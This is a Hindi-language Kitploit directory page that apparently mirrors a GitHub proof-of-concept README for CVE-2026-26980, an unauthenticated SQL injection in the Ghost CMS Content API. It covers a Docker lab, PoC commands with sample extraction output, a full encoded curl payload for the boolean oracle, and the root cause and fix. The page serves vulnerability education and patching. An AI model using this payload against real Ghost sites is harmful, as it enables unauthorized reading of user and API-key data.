Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-26980 — Ghost Content API SQL Injection | Kitploit
उपकरण/GitHubGitHub/eqstlab/cve-2026-26980
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubeqstlab/cve-2026-26980

CVE-2026-26980

Ghost Content API SQL Injection

रिपॉजिटरी देखें
322 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-26980

★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL Injection PoC ★

https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c


अवलोकन

CVE-2026-26980 TryGhost Ghost CMS Content API में एक अप्रमाणित SQL Injection भेद्यता है। कमजोर पथ सार्वजनिक Content API फ़िल्टर हैंडलिंग लॉजिक के माध्यम से पहुँचा जा सकता है जब slug:[...] ऑर्डरिंग प्रोसेस की जाती है।

यह PoC एक नियंत्रित Ghost 6.19.0 लैब बनाता है और दर्शाता है कि कैसे एक सार्वजनिक Content API अनुरोध को बूलियन-आधारित डेटाबेस रीड प्रिमिटिव में बदला जा सकता है।


प्रभावित संस्करण

उत्पादप्रभावित संस्करणनिर्धारित संस्करणभेद्यता प्रकार
TryGhost Ghost CMS>= 3.24.0, < 6.19.16.19.1SQL Injection

लैब वातावरण Ghost 6.19.0 का उपयोग करता है।


लैब सेटअप

Docker का उपयोग करके कमजोर Ghost CMS वातावरण बनाएं और चलाएं:

root@kitploit:~
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980

उदाहरण:

root@kitploit:~
http://127.0.0.1:9102/
छवि

लैब पोर्ट 9102 पर एक वास्तविक कमजोर Ghost 6.19.0 इंस्टेंस चलाता है।

लैब Content API कुंजी है:

root@kitploit:~
EQSTLab299

विवरण

CVE-2026-26980 : TryGhost Ghost CMS Content API SQL Injection भेद्यता

विवरण: 6.19.1 से पहले TryGhost Ghost CMS में एक SQL इंजेक्शन भेद्यता एक अप्रमाणित हमलावर को एक सार्वजनिक Content API कुंजी तक पहुँच के साथ Content API फ़िल्टर पैरामीटर के माध्यम से मनमाना डेटाबेस मान पढ़ने की अनुमति देती है। यह समस्या slug:[...] फ़िल्टर ऑर्डरिंग पथ में होती है, जहाँ उपयोगकर्ता-नियंत्रित slug मान उचित पैरामीटर बाइंडिंग के बिना कच्चे SQL में डाले जाते हैं।

Ghost Content API कुंजियाँ आमतौर पर डिज़ाइन द्वारा थीम, खोज, पोर्टल, या फ्रंटएंड JavaScript के माध्यम से ब्राउज़रों के लिए उजागर होती हैं। इसका मतलब है कि Ghost Admin प्रमाणीकरण के बिना कमजोर पथ तक पहुँचा जा सकता है।


उपयोग कैसे करें

Git क्लोन

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980

कमांड

root@kitploit:~
python3 poc.py --url [लक्ष्य]

वैकल्पिक कस्टम Content API कुंजी:

root@kitploit:~
python3 poc.py --url [लक्ष्य] --key [Content API कुंजी]

उदाहरण

root@kitploit:~
python3 poc.py --url [लक्ष्य]
python3 poc.py --url [लक्ष्य] --key EQSTLab299

[लक्ष्य] उदाहरण: http://127.0.0.1:9102

आउटपुट

root@kitploit:~
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target:                      [लक्ष्य]
API Key:                     [Content API कुंजी]
Endpoint:                    Content API (public, no auth)

[*] Calibrating oracle... OK

[*] Phase 1: Recon (fast checks)
  length(users.email) = 17
  length(users.password) = 60
  count(settings) (3 chars): 110
  count(users) (1 chars): 1
  count(api_keys) (1 chars): 9

[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>

[*] Phase 3: DB snapshot
Result:                      DB read primitive confirmed

सार्वजनिक PoC लैब-सुरक्षित डेटाबेस मेटाडेटा और Ghost API कुंजी सामग्री निकालकर डेटाबेस रीड प्रभाव प्रदर्शित करता है। यह चैलेंज फ्लैग प्रिंट नहीं करता है।


विश्लेषण

कमजोर बिंदु

root@kitploit:~
GET /ghost/api/content/tags/?key=[Content API कुंजी]&filter=slug:[...]

कमजोर लॉजिक Ghost के Content API इनपुट सीरियलाइज़ेशन पथ में slug:[...] फ़िल्टर के लिए मौजूद है। Ghost लिस्ट-शैली slug फ़िल्टर का समर्थन करता है और ORDER BY CASE एक्सप्रेशन उत्पन्न करके अनुरोधित slug क्रम को संरक्षित करता है।

कमजोर संस्करणों में, उपयोगकर्ता-नियंत्रित slug मान SQL खंड में डाले जाते हैं। एक सरलीकृत कमजोर पैटर्न है:

root@kitploit:~
for (const [index, slug] of slugs.entries()) {
    order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}

क्योंकि slug हमलावर-नियंत्रित है और इसे पैरामीटर बाइंडिंग के बिना SQL स्ट्रिंग में डाला जाता है, एक क्राफ्टेड Content API फ़िल्टर इच्छित तुलना से बाहर निकल सकता है और अतिरिक्त SQL लॉजिक इंजेक्ट कर सकता है।

एक्सप्लॉइट लॉजिक

लैब PoC दो सार्वजनिक टैग, bacon और chorizo, का उपयोग एक अवलोकनीय बूलियन ओरेकल के रूप में करता है।

  • यदि इंजेक्ट किया गया SQL कंडीशन सत्य है, तो bacon पहले सॉर्ट किया जाता है।
  • यदि इंजेक्ट किया गया SQL कंडीशन असत्य है, तो chorizo पहले सॉर्ट किया जाता है।

इस परीक्षण को विभिन्न SQL कंडीशनों के साथ दोहराकर, PoC एक समय में एक वर्ण डेटाबेस मानों का अनुमान लगा सकता है।

बूलियन ओरेकल जाँच curl के साथ:

root@kitploit:~
curl -s "[लक्ष्य]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"

मूल कारण

मूल कारण उपयोगकर्ता-नियंत्रित slug मानों से SQL ORDER BY CASE खंड का असुरक्षित निर्माण है। कमजोर कोड Content API प्रतिक्रिया क्रम को संरक्षित करने का प्रयास करता है, लेकिन पार्स किए गए NQL फ़िल्टर मानों को विश्वसनीय SQL टेक्स्ट के रूप में मानता है।

एक मजबूत फिक्स को:

  • उपयोगकर्ता-नियंत्रित slug मानों को SQL स्ट्रिंग्स में इंटरपोलेट करने से बचना चाहिए
  • प्रत्येक slug मान के लिए पैरामीटर बाइंडिंग का उपयोग करना चाहिए
  • फ़िल्टर मानों को कच्चे SQL में परिवर्तित किए बिना ऑर्डरिंग को संरक्षित करना चाहिए
  • NQL पार्सिंग को SQL निर्माण से अलग रखना चाहिए

Ghost ने इस समस्या को 6.19.1 में रॉ इंटरपोलेशन को पैरामीटराइज्ड क्वेरी बाइंडिंग्स से बदलकर ठीक किया है।

प्रभाव

यह एक CWE-89: Improper Neutralization of Special Elements used in an SQL Command समस्या है।

क्योंकि Ghost Content API जानबूझकर सार्वजनिक है, यह भेद्यता एक अप्रमाणित हमलावर को एक सार्वजनिक सामग्री एंडपॉइंट के माध्यम से डेटाबेस रीड प्रिमिटिव बनाने की अनुमति दे सकती है। डेटाबेस सामग्री और अनुमतियों के आधार पर, एक हमलावर निम्नलिखित कर सकता है:

  • डेटाबेस तालिका मेटाडेटा गणना करना
  • साइट कॉन्फ़िगरेशन मान पढ़ना
  • उपयोगकर्ता तालिका फ़ील्ड पढ़ना
  • API कुंजी रिकॉर्ड पढ़ना
  • Ghost डेटाबेस में संग्रहीत निजी एप्लिकेशन डेटा निकालना

परिदृश्य

root@kitploit:~
+-------------------------------------------+
|              रिमोट हमलावर                 |
+-------------------------------------------+
                      |
                      | GET /ghost/api/content/tags/
                      | filter = slug:[<SQLi पेलोड>,chorizo,bacon]
                      v
+-------------------------------------------+
|          Ghost सार्वजनिक Content API      |
+-------------------------------------------+
                      |
                      | असुरक्षित slug क्रम SQL निर्माण
                      v
+-------------------------------------------+
|        ORDER BY CASE SQL Injection         |
+-------------------------------------------+
                      |
                      | टैग ऑर्डरिंग में बूलियन अंतर
                      v
+-------------------------------------------+
|          अप्रमाणित डेटाबेस रीड           |
+-------------------------------------------+

लैब नोट्स

यह लैब एक न्यूनतम मॉक सर्वर के बजाय एक वास्तविक कमजोर Ghost 6.19.0 इंस्टेंस चलाता है।

लैब में शामिल हैं:

  • एक सार्वजनिक Content API कुंजी: EQSTLab299
  • दो ओरेकल टैग: bacon, chorizo
  • EQST Lab ब्रांडिंग और नमूना ब्लॉग सामग्री
  • Ghost SQLite डेटाबेस में एक डिस्पोजेबल निजी चैलेंज मान

सार्वजनिक poc.py प्रदर्शन वीडियो और सार्वजनिक राइटअप के लिए डिज़ाइन किया गया है। यह चैलेंज फ्लैग प्रिंट किए बिना SQL इंजेक्शन प्रभाव दिखाता है।


सफाई

root@kitploit:~
docker stop cve-2026-26980

अस्वीकरण

यह रिपॉजिटरी CVE-2026-26980 के लिए SQL Injection शोषण होने का इरादा नहीं है। इस परियोजना का उद्देश्य लोगों को इस भेद्यता के बारे में सीखने में मदद करना है, और संभवतः अपने स्वयं के अनुप्रयोगों का परीक्षण करना है।


संदर्भ

https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97

https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91

https://github.com/TryGhost/Ghost/releases/tag/v6.19.1

https://nvd.nist.gov/vuln/detail/CVE-2026-26980

https://osv.dev/vulnerability/CVE-2026-26980

https://github.com/TryGhost/Ghost

टूल डाउनलोड करें